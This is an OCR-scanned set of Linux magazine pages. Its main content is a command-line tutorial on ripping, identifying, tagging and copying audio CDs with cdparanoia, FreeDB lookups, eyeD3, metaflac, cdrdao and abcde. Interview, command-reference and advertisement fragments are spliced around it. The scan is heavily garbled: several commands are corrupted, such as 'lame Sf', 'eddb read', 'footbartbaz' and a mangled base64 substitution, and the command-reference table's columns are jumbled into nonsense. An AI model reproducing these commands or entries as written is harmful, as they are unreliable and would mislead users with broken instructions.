are followed by 

moderators for a short 
period to help maintain 


data quality. Consider this 
as having a free mentor to 


help get you started! 
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V MASTERCLASS AUDIO TOOLS 


RIP CDS FROM THE COMMAND 
LINE WITH CDPARANOIA 


Use the command line to rip, tag and organise your CD collection. 


ack in the day, CD ripping was performed with 
a tool called cdda2wav, but this has been 
improved upon by edparanoia, which can 


recover from disk read errors including some disk 
scratches. It's our ripping tool of choice, and you 
should find it in your distro’s repository. Pop a CD in 


your drive and try it out 
$ cdparanoia -B 


This rips the audio CD /dev/cdrom and produces 
WAV format files in the current directory. You'll see 


something like this for each file: 
outputting to track02.cdda.wav 


== PROGRESS == 


| 031 371 00] == “AD * ==) 


The progress bar keeps you informed of what's 
happening; your rip should be fine if you don’t see ! or 


“cdparanoia is our CD ripping 
tool of choice, and you should 


find it in your distro’s repository.” 


V characters. 

The WAV files 
contain the 
uncompressed digital 
data, but there are 
many other, more 
suitable, formats like 


MP3, Ogg Vorbis and FLAC. There are separate 
encoders for each format, and a little Bash lets us 
process each track into the formats we want: 


$ for f in track*.cdda.wav; do 
> oggenc $f 

> lame Sf 

> flac $f 

> done 


The default encoder settings are acceptable, but if 
you want more control over quality vs compression 
you can check the commands’ man pages for their 
respective arguments, which enable you to customise 


the encoding process. 


EDDA Paranoia Frequently Asked Questions - Pentadactyl 


/ @ CDDA Paranoia Freq... \ 


The progress meter: What is that weird bargraph during ripping? 


It's a progress/status indicator. There's a completion bargraph, a number indicating the last sector number completely 
verified of the read currently happening, an overlap indicator, a gratuitous smilie, and a heartbeat indicator to show if 


the process is still alive, hung, or spinning. 


The bargraph also marks points during the read with characters to indicate where various ‘paranoia’ features were 


tripped into action 


‘oO OO OF 


progress bargraph 


sector counter 
overlap indicator 
smilie (gratuitous) 
heartbeat 


https: //www. xiph. org/paranoia/faq. html [-] 


(1/1]77 


It's official: cdparanoia has a weird bargraph. Read the FAQ to understand it. 
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We now have the tracks off the CD in our desired 
formats but we yet don't know what they are. They all 
have names like track01 .cdda.flac. We could look at 
the CD sleeve and rename the files by hand or we can 
identify the disc and look it up in a database. A disc ID 
is a 32-bit number, presented as eight hexadecimal 
digits, which can be used to identify an audio CD. It is 
derived from the starting times of each track and the 
total playing time of the disc. The ed-discid tool will 
show the disc ID and track offset data for a CD: 
$ cd-discid /dev/cdrom 
900c330c 12 150 17142 31490 57867 84507 105025 120762 
135657 152745 179847 198320 217650 3125 

You can use the disc ID to perform a search in 
various CD databases. These are mostly community- 
maintained databases that are free to use and have 
open-source licences. They were forked from an open 
CD Database called CDDB that has since become a 
proprietary service called Gracenote. Due to their 
common origin, the forked services use a similar 
protocol now known as the FreeDB CDDB Protocol. 

You can use Telnet to access a CDDB protocol 
server on port 8880: 
$ telnet freedb.freedb.org 8880 
201 mirror1.freedb.org CDDBP server v1.5.2PL0 ready 
> cddb hello foo bar baz 1 
200 Hello and welcome foo@bar running baz 1. 
> cddb query 900c330c 12 150 17142 31... 

200 misc 900c330c Pulp / Different Class 

> eddb read misc 900¢330c 

210 misc 900c330c CD database entry follows (until terminating 
=) 

# xmed CD database file 

# 

# Track frame offsets: 


Audio CD duplication 


If you want to make a physical copy of an audio CD the 
process is different; you don’t rip the tracks, but instead 
make a disc at once copy. The tool for this is cdrdao: 
$ cdrdao read-cd --datafile mycd.bin mycd.toc 

You cannot use data tools like dd to copy audio CDs 
because they don't have a filesystem. You don't create an 
ISO file, but instead a pair of files: the .bin is the disc image 
and its .toc is a text file that contains its table of contents 
and describes the track layout. You can augment the table 
of contents with track titles and artist names from FreeDB: 
$ cdrdao read-cddb mycd.toc 

You can use these files to write to a recordable CD: 
$ cdrdao write mycd.toc 

CD-text will also be written to the disc if the table of 
contents contains FreeDB data. 
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# 150 [@ abcde - A Better CD Encoder - roject Hosting - Pentadac Binis 
J @ abcde -ABetterCD... \ Ly 

# 17142 My favorites ¥ | Signin 

“ abcde 

> quit A Better CD Encoder | Search projects | 


When you first connect, you must send a ‘hello’. It 
expects a user and hostname and the name of the 
connecting client software and version but, as our 
example shows, it doesn't matter what you send. 


abcde is a command line (CLI) CD encoder. it will read your CD, contact a CDDB provider, download the track 
information, rip your CD and store all the encoded tracks in the tree layout you define 


It supports multiple encoders for several formats, such as FLAC, Ogg/Vorbis, MP3,... and will use one single rip to 
create as many output formats as you want 


Ubuntu Manpage: abcde - Grab an entire CD and compress it to Ogg/Vorbis, MP3, FLAC, - Pentadactyl 


Next, you issue a ‘query’, which takes the output of 
cd-discid. You then use the returned genre and disc 
ID values to perform a ‘read’ (if you already know 
these then you can omit the query). The resulting 
display contains various information, including the 
track names that you can use to rename your files. 

Another way to do this is to send an HTTP query 
from your web browser or use curl, which is probably 
the best approach if you're writing a script. The 
commands used above are encapsulated in a query 
string; the following example performs the same 
query as above: 
$ curl “http://freedb.freedb.org/~cddb/cddb. 
cgi?cmd=cddb+query+$(cd-discid | sed ‘s/ 
/+/g')&hello=foo+bar+baz+1 &proto=6” 

Spaces in the query need to be represented using 
“+" so the output of “cd-discid” is passed through “sed” 
to perform this conversion. Performing the read 
operation is similarly straightforward: 
$ curl ‘http://freedb.freedb.org/~cddb/cddb.cgi?cmd=cddb+read 
+misc+900c330c&hello=footbartbaz+1 &proto=6' 


Tag art 

Correctly naming files isn’t enough, because most 
media players rely on metadata contained within the 
files to identify them. You can add these tags with 
command-line utilities. Again, each format has its 
own tagger: 

$ eyeD3 -A “Mis-Shapes” -G “BritPop” -Y 1995 01:Mis-Shapes. 
mp3 

$ vorbiscomment -w -t ‘TITLE=Mis-Shapes’ -t ‘GENRE=BritPop’ 
01:Mis-Shapes.ogg 

$ metaflac --set-tag ‘TITLE=Mis-Shapes’ --set-tag 
‘GENRE=BritPop’ 01:Mis-Shapes.flac’ 

You can also attach images as tags. If you have 
album cover art images, you can embed these within 
the files’ metadata. It’s easy for MP3 and FLAC files: 
$ eyeD3 --add-image cover.jpg:FRONT_COVER 01:Mis-Shapes. 
mp3 
$ metaflac --import-picture-from cover.jpg 01:Mis-Shapes.flac’ 

Ogg Vorbis requires the image to be base-64 
encoded, which requires a little more effort and the 
base64 command-line utility: 
$ vorbiscomment -a -t “COVERART=S(base64 --wrap=0 < cover. 
jpg)" 01:Mis-Shapes.ogg 


As easy as abcde... 

If all this sounds too hard and you want something to 
take the pain away, you can try ‘A Better CD Encoder’, 
or abede. This is a Bash script that wraps the tools 
that we've been using and makes using them painless 
and it's in most distributions’ repositories. 


J @ Ubuntu Manpage: ab... \ 


ubuntu®manuals 


8.04UTS 10,041TS 12.041TS 12.10 13.04 13.10 14.0405 (4 


lucid (1) abcde.1.gz 


Provided by: abcde_2.4,0-Lubuntul_all & 


NAME 


abcde - Grab an entire CD and compress it to Ogg/Vorbis, MP3, FLAC, 
Ogg/Speex and/or MPP/MP+(Musepack) format. 


SYNOPSIS 
abcde [options] [tracks] 


http: //code. google. com/p/abcde/ DESCRIPTION 


Ordinarily, the process of grabbing the data off a CD and encoding it, 

then tagging or commenting it, is very involved, abcde is designed to 
automate this. It will take an entire CD and convert it into a 
compressed audio format - Ogg/Vorbis, MPEG Audio Layer Ill, Free 
Lossless Audio Codec (FLAC), Ogg/Speex, MPP/MP+(Musepack) and/or M4A 
(AAC) format(s), With one command, it will 


Do a CDDB query over the Internet to look up your CD or use a 


locally stored CDDB entry 


Grab an audio track (or all the audio CD tracks) from your CD 


Normalize the volume of the individual file (or the album as a 


single unit) 


Compress to Ogg/orbis, MP3, FLAC, Ogg/Speex, MPP/MP+(Musepack) 
and/or M4A format(s), all in one CD read 


Comment or ID3/ID3v2 tag 
Give an intelligible filename 


Calculate replaygain values for the individual file (or the 


album as a single unit) 


Delete the intermediate WAV file (or save it for later use) 


Repeat until finished 


It's easy to rip from the command line. Look no further than your distro’s repository. 


The easiest way to use it is to customising its 
configuration file, /etc/abcde.conf, and save it as 
~/.abcde.conf. Once you've done this, you can rip, 
encode and tag to multiple formats with a single 
command. Put a CD in your drive and do 
$ abcde 

abcde rips your CD, performs a CDDB lookup, 
allows you to choose the match you want in the even 
of the search returning multiple matches, and gives 
you the chance to edit the data before use. It encodes 
to multiple formats and stores the files using a file- 
and directory-naming convention of your choice. You 
control all of this from A Better CD Encoder's 
configuration file. 

The default configuration is mostly acceptable but 
you may wish to customise how it names files and 
directories. Look at the first 50 or so lines of the file 
and edit to suit your needs. The ones you'll most-likely 
want to alter include the OUTPUTTYPE, which 
specifies the desired output formats, and the 
OUTPUTDIR and OUTPUTFORMAT entries, which 
define where files are written and how they are 
organised into directories and named. The CDDBURL 
enables you to specify the FreeDB service that you 
want to use. 

abcde greatly simplifies command-line CD ripping 
and is probably all you'll really need, unless you want 
to add a GUI tagging tool into the mix. @ 
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Some CDs contain track 


and artist data as 


‘CD-Text’ that you can see 
with a tool called cd-info. 
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V_ /DEV/RANDOM/ 


MEW 


PEeoVILUrT 


Final thoughts, musings and reflections 


Nick Veitch 

was the original editor 
of Linux Format, a 
role he played until he 
got bored and went 

to work at Canonical 
instead. Splitter! 
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arge net. 


doubles as display 
for PS3 gaming. 


j 


= 


Linux desktop with 
Windows dual-boot 
for work and play. 


= Lucky charms (Buddhas 
from Australia, a piece 
of eight, a spent 9mm 


Parabellum bullet). Literature (Gibbon’s 


) Decline and Fall). 


Mechanical keyboard 
with Cherry MX Blue 
switches. 


Old Olympia 
typewriter for 
distraction-free 
writing. 


Lots of offline notebooks. 


My Linux setup Fabian A Scherschel 


Heise Security editor, OggCamper and Linux Outlaw. 


What version of Linux are you 
using at the moment? 
I've been running Xubuntu (currently 
14.04) for a while on my desktops 
and laptops. My servers run on Debian 
Wheezy. | also use Kali Linux a lot at work 
to poke around systems and network 
traffic. | prefer Xfce as a desktop; 
Gnome 3 works too. 


What was the first Linux setup 

you ever used? 

Knoppix with KDE at university in 

2004. | hated it so much, it turned 
me off Linux completely for a while. The 
first install | did myself was Ubuntu 
Dapper in 2006. I've spent several years 
on Fedora as well and used Arch Linux for 
awhile. 


What Free Software/open source 
can't you live without? 
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The shell (mostly Bash). Whenever | 

am using Windows these days, it 
feels like someone has chopped my right 
hand off because their command line is 
so horrible — and yes, | do include 
PowerShell in that. 


What do other people love but 
you can get on without? 

Gentoo. Compiling things just isn't 
for me. | suck at it, especially 
kernels. Also Emacs — | have no idea how 

people can use that thing. 


Is there a piece of proprietary 

software that you wish was 
open source? 

Sublime Text [highly praised in 

LV002's text editors group test] I've 
written millions of words in it in the last 
few years. In fact, this very answer was 
composed in Sublime. @ 
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GNU/Linux command reference 


Is List files in current directory chown myfile mike:mygroup Change ownership of myfile to user 
Is -la List files with details, and show hidden files mike and group mygroup 
(beginning with a dot) 
Is -laSh Like above, but sort by size and show chmod atr myfile Make myfile readable by all users 
human-readable size 
cd mydir Switch into mydir directory chmod +w myfile Make myfile writable by the current user 
aa Sin dis anebae chmod +x myfiles ie myfile executable (so you can run 
it with ./myfile) 
le eieltchtohome'directenyiegvhome/bep) sudo somecmd Run somecmd as the root (admin) user 
rm myfile Remove myfile (most distios) 
SLI fel Remove mysliidirectory and subdirectories su -c “somecmd” Like above, but where sudo is not available 
rm *.jpg Remove all files that end in .jpg 
rm file?.jpg Here, ? can be any single letter or number 
cp file1 file2 Copy file 
cp -r dirl dir2 Copy directory 
mv file’ file2 Move/rename file or directory PS ax List all running processes 
cat file2 >> filel | Append file2 content on to the end of filel ps ax|grep-ifirefox — Show Firefox processes 
less textfile View contents of textfile (press Q to quit) kill 530 Gracefully terminate process with ID 530 (from 
du -h Show disk space usage in current directory first column of ps ax command) 
kill -9 530 Forcibly kill process (eg if it's not 


responding at all) 


Archiving and encryption 


, ; fg Bring a program that you backgrounded 
tar cfvz file. tar.gz mydir Create compressed archive ; 
ae with Ctrl+Z to the foreground 
of mydir directory — 
- - - - top Show a constantly updating list of processes 
tar cfvj file. tar.bz2 mydir Like above, but with stronger = = 
: free -m Show how much RAM is being used, in MB 
compression ; ; 
: (second line of output is most useful) 
tar xfv file.tar.gz Extract archive (also works 


with .bz2 files) 
gpg -c --cipher- algo AES256 filename —_ Encrypt filename to 


df -h Show space usage on drives and partitions 
mount Show where drives are mounted onto 


; the filesystem 
filename.gpg using a 


paccWord w Show logged-in users, and uptime information 
gpg filename. gpg Decrypt the previously 
created file 
zip -ry filename.zip mydir Creates Zip archive from 
mydir Ctrl+C Terminates running command 
Ctrl+Z Puts running command into the background 
Ctrl+D Log out of terminal (like running exit) 
nano filename Edit in Nano (use su/sudo to edit system TORS MERC ODG | ORS UM eUCl eons Coates 


files as root) Ctrl+R Type text to find most recently entered 


command containing the text 


Ctrl+0 Save file 

ctrleX Eteaion Tab Use to complete file and directory names (eg Is 
ctrlew Find word my<Tab> to complete to myfile) 

Ctrl+C Shonlinennrben man cmd Show the manual page for a command (use 
Ctrl+K/U Cut/paste line /word to search for “word”, and Q to quit) 
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: TBS TUNER SUPPORT 

=" FREESCALE QUAD CORE 
= 100% OPEN SOURCE 

= XBMC, VDR, TVHEADEND 


l WWepencle: & 
= 
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System-on-a-chip (SoC) Freescal MCIMX6Q5EYM10AC 
Quad ARM Cortex-A9 at 1.0GHz 
Vivante GC2000, Quad core GPU, Quad IPU 
2GB DDR 

USB 2.0 ports 3x USB 2.0 


HDMI port 

3.5 mm jack 

eMMC 16GB 
Storage 1x SD card slot 

1x TF card slot 

10/100/1000 wired Ethernet 

WIFI IEEE 802.11n/b/g 
Power input 5V, 3A 


Audio & Video interface 


Network 


BY YOUR VERY OUWN: BEN EVERARD 


—OUNDS 1OO GOOD 10 BE TRUE? Ii Ss NOT: 

UNLIKE OTHER ABNVIC SOLUTIONS, OPENELCEC IS NOT BASED ON UBUNTU. 

IN FACT, It 5S NOT BASED ON ANY LINUA DISTRIBUTION, 

OPENELEC HAS BEEN BUILT FROM SCRATCH SPECIFICALLY 1O ACT AS A MEDIA CENTER. 


JABNIG performance Is Fantastic and Could make the Matrix one of the best frontends you could buy, 


ine hardware tooks Sood; fects solidly made and works well 


XO ° 


~~ wf ubuntu 
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